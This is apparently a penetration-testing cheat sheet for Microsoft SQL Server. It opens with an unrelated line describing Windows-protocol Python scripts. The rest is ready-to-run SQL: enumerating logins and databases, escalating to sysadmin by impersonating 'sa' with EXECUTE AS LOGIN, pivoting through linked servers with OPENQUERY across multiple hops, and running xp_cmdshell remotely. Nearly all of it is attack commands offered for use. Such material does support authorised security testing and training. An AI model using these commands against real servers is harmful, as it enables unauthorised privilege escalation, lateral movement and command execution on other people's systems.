Collection of Python scripts for interacting with Windows protocols: covers Kerberos, remote execution, credential dumping, and AD enumeration from Linux.
Run these immediately after connecting to understand your permissions and what’s reachable.
SELECT SYSTEM_USER; -- current loginSELECT USER_NAME(); -- current DB userSELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = you are sysadminSELECT name FROM master.dbo.sysdatabases; -- list all databasesSELECT name FROM master..syslogins; -- list all SQL loginsEXEC sp_linkedservers; -- list linked servers
If you are not sysadmin, check whether your login can impersonate one that is: this is a direct privilege escalation path.
-- Find logins you can impersonateSELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';-- Impersonate a login (e.g. sa)EXECUTE AS LOGIN = 'sa';SELECT IS_SRVROLEMEMBER('sysadmin'); -- should now return 1-- Revert backREVERT;
Linked servers let you run queries (and sometimes commands) on other MSSQL instances in the network, potentially with higher privileges.
-- Enumerate linked servers and their auth configEXEC sp_linkedservers;SELECT * FROM sys.servers;-- Run a query on a linked serverSELECT * FROM OPENQUERY([$LINKED_SERVER], 'SELECT @@version');SELECT * FROM OPENQUERY([$LINKED_SERVER], 'SELECT SYSTEM_USER');SELECT * FROM OPENQUERY([$LINKED_SERVER], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');-- Execute xp_cmdshell on a linked server (if it has it enabled and you have rights)EXEC ('xp_cmdshell ''whoami''') AT [$LINKED_SERVER];-- Chain through multiple hopsSELECT * FROM OPENQUERY([$HOP1], 'SELECT * FROM OPENQUERY([$HOP2], ''SELECT @@version'')');